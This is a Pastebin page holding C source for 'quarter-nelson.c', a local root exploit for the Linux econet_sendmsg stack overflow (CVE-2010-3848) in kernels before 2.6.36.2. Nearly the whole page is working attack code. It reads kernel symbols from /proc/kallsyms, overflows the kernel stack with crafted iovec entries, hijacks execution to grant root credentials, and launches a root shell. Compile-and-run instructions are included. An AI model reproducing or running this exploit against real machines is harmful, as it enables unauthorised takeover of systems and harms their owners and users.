Advertisement
Guest User

quarter-nelson.c - final stack-based sendmsg pf_econet rIp

a guest
Sep 11th, 2011
892
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * quarter-nelson.c
  3.  * Linux Kernel < 2.6.36.2 Econet Sendmsg Privilege Escalation Exploit
  4. * x86_64 / 32bit
  5. *
  6. * BASED ON CVE-2010-3848
  7. *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
  8. *   Stack-based buffer overflow in the econet_sendmsg function in
  9. *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
  10. *   econet address is configured, allows local users to gain privileges by
  11. *   providing a large number of iovec structures.
  12. *
  13. * Compile+Use:
  14. *   $ gcc quarter-nelson.c -o quarter-nelson -lrt
  15. *   $ ./quarter-nelson
  16. */
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <stdint.h>
  20. #include <stddef.h>
  21. #include <string.h>
  22. #include <unistd.h>
  23. #include <errno.h>
  24. #include <fcntl.h>
  25. #include <limits.h>
  26. #include <syscall.h>
  27. #include <inttypes.h>
  28. #include <sys/types.h>
  29. #include <sys/socket.h>
  30. #include <sys/wait.h>
  31. #include <sys/ioctl.h>
  32. #include <sys/mman.h>
  33. #include <sys/sem.h>
  34. #include <sys/stat.h>
  35. #include <sys/mman.h>
  36. #include <sys/resource.h>
  37. #include <sys/syscall.h>
  38. #include <netinet/in.h>
  39. #include <net/if.h>
  40.  
  41. #define IOVS           446
  42. #define NPROC          1024
  43. #ifndef PF_ECONET
  44. #define PF_ECONET 19
  45. #endif
  46. #define STACK_OFFSET   6
  47. #define RESTART_OFFSET 40
  48.  
  49. struct ec_addr {
  50.         unsigned char station;
  51.         unsigned char net;
  52. };
  53.  
  54. struct sockaddr_ec {
  55.     unsigned short sec_family;
  56.     unsigned char port;
  57.     unsigned char cb;
  58.     unsigned char type;
  59.     struct ec_addr addr;
  60.     unsigned long cookie;
  61. };
  62.  
  63. union semun {
  64.     int val;
  65.     struct semid_ds *buf;
  66.     unsigned short *array;
  67.     struct seminfo *__buf;
  68. };
  69.  
  70. struct region {
  71.     unsigned long parent;
  72.     unsigned long addrs[NPROC];
  73. };
  74. struct region *region;
  75.  
  76. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  77. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  78. _commit_creds commit_creds;
  79. _prepare_kernel_cred prepare_kernel_cred;
  80. unsigned long ia32_sysret;
  81.  
  82. void __attribute__((regparm(3)))
  83. kernel_code(void) {
  84. commit_creds(prepare_kernel_cred(0));
  85. }
  86.  
  87. void payload_parent(void) {
  88.         asm volatile (
  89.         "mov $kernel_code, %rax\n"
  90.         "call *%rax\n"
  91.         );
  92. }
  93.  
  94. void payload_child(void) {
  95.         asm volatile (
  96.         "movq $payload_parent, (%0)\n"
  97.         "jmpq *%1\n"
  98.         :
  99.         : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
  100.         );
  101. }
  102.  
  103. unsigned long get_symbol(char *name) {
  104.         FILE *f;
  105.         unsigned long addr;
  106.         char dummy, sym[512];
  107.         int ret = 0;
  108.         f = fopen("/proc/kallsyms", "r");
  109.         if (!f) {
  110.         return 0;
  111.         }
  112.         while (ret != EOF) {
  113.         ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
  114.         if (ret == 0) {
  115.         fscanf(f, "%s\n", sym);
  116.         continue;
  117.         }
  118.         if (!strcmp(name, sym)) {
  119.         printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
  120.         fclose(f);
  121.         return addr;
  122.         }
  123.         }
  124.         fclose(f);
  125.         return 0;
  126. }
  127.  
  128. void do_it(void) {
  129.         int i, ret, eco_sock;
  130.         struct sockaddr_ec eco_addr;
  131.         struct msghdr eco_msg;
  132.         struct iovec iovs[IOVS];
  133.         struct ifreq ifr;
  134.         char *target;
  135.         target = (char *) payload_child;
  136.         target += 4;
  137.         sleep(1);
  138.         for (i = 0; i < STACK_OFFSET; ++i) {
  139.        iovs[i].iov_base = (void *) 0x0;
  140.        iovs[i].iov_len = 0;
  141.        }
  142.        iovs[STACK_OFFSET].iov_base = (void *) target;
  143.        iovs[STACK_OFFSET].iov_len = 0x0246;
  144.        for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
  145.        iovs[i].iov_base = (void *) 0xffffffff00000000;
  146.        iovs[i].iov_len = 0;
  147.        }
  148.        eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
  149.        if (eco_sock < 0) {
  150.        printf("[-] failed creating econet socket, aborting\n");
  151.        exit(1);
  152.        }
  153.        memset(&ifr, 0, sizeof(ifr));
  154.        strcpy(ifr.ifr_name, "lo");
  155.        ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
  156.        if (ret != 0) {
  157.        printf("[-] failed setting interface address, aborting\n");
  158.        exit(1);
  159.        }
  160.        memset(&eco_addr, 0, sizeof(eco_addr));
  161.        memset(&eco_msg, 0, sizeof(eco_msg));
  162.        eco_msg.msg_name = &eco_addr;
  163.        eco_msg.msg_namelen = sizeof(eco_addr);
  164.        eco_msg.msg_flags = 0;
  165.        eco_msg.msg_iov = &iovs[0];
  166.        eco_msg.msg_iovlen = IOVS;
  167.        printf("[+] triggering stack overflow\n");
  168.        ret = sendmsg(eco_sock, &eco_msg, 0);
  169.        if (ret != -1 || errno != EFAULT) {
  170.        printf("[-] sendmsg succeeded\n");
  171.        exit(1);
  172.        }
  173.        close(eco_sock);
  174.        printf("[+] escalating privileges\n");
  175.        syscall(__NR_restart_syscall);
  176.        if (getuid() != 0) {
  177.        printf("[-] escalation failed, aborting\n");
  178.        exit(1);
  179.        }
  180.        printf("[+] launching root shell!\n");
  181.        execl("/bin/sh", "/bin/sh", NULL);
  182. }
  183.  
  184. int main(int argc, char **argv) {
  185.        int type;
  186.        printf("[+] looking for symbols\n");
  187.        commit_creds = (_commit_creds) get_symbol("commit_creds");
  188.        if (!commit_creds) {
  189.        printf("[-] symbol table not available, aborting!\n");
  190.        exit(1);
  191.        }
  192.        prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
  193.        if (!prepare_kernel_cred) {
  194.        printf("[-] symbol table not available, aborting\n");
  195.        exit(1);
  196.        }
  197.        ia32_sysret = get_symbol("ia32_sysret");
  198.        if (!ia32_sysret) {
  199.        printf("[-] symbol table not available, aborting\n");
  200.        exit(1);
  201.        }
  202.        printf("~~ (PF)Econet priv escalation (based on the j.o three-tier half-nelson) IA32+32bit by xd--@haxnet ~~\n");
  203.        do_it();
  204.        return 0;
  205. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement